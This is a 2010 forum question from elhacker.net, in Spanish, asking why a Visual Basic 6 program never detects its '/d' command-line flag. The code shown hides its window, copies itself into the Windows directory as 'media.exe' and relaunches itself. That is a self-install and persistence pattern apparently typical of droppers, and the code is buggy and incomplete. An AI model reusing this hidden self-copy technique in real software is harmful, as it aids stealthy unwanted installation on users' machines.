Imprimir Página - Help con Command ...

Hola, la idea basica del programa es (paso a paso):

1) Cuando se ejecuta por primera vez el programa x.exe (supongamos que esta en el escritorio), este se copia al directorio de windows con el nombre media.exe.
2) Se ejecuta el media.exe desde x.exe con el parametro /d
( Shell (WinDir & "media.exe /d") )
3) Luego que se pregunta si al comando se le paso el /d y hace lo de abajo mostrando alguno de sus msgbox para su caso correspondiente...

Bueno el problema esta en lo ultimo xD.. NUNCA entra en el primer if ( If Command = "/d" Then ....) y el parametro se lo pase /d desde con el shell
Shell (WinDir & "media.exe /d")

el codigo:

Código:

Private Sub Form_Load()

    On Error Resume Next
    Me.Hide
    
   If Command = "/d" Then
        III.Do = True
        If III.Ok Then
            III.Set "Param", "Int", "300"
            MsgBox III.Name & ": ok hecho"
        Else
            MsgBox III.Name & ": fallo"
        End If
        End
    ElseIf Command = "/e" Then
        If III.Kill Then
            MsgBox III.Name & ": ok deshecho"
        Else
            MsgBox III.Name & ": fallo"
        End If
       End If
   
   If Command <> "" Then
      Sleep 20000
      Dim directorio As String
      directorio = App.directorio
  If Right(directorio, 1) <> "\" Then directorio = directorio & "\"
      directorio = directorio & App.EXEName & ".exe"
      Dim ruta As String
      ruta = Environ("WinDir") & "media.exe"
      DeleteFile ruta
      
      FileCopy directorio, WinDir & media.exe"
       Sleep 20000
      Shell (WinDir & "media.exe /d")

      End
   End If

End sub

que estare haciendo mal? ( se entiende la idea? )

Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: [GB] en 15 Marzo 2010, 15:18 pm